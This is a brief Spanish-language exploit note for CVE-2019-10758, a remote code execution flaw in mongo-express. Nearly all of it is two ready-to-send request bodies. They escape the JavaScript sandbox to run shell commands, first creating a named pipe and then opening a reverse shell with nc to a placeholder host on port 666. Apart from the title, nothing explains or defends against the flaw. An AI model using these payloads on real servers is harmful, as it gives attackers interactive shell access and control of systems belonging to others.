CVE-2019-10758

mongo-express ejecución remota de código, el código del shell inverso es el siguiente:

CUERPO DE LA SOLICITUD 1:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("mkfifo /tmp/f")

CUERPO DE LA SOLICITUD 2:

document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /tmp/f | /bin/sh -i 2>%261 | nc x.x.x.x 666 >/tmp/f")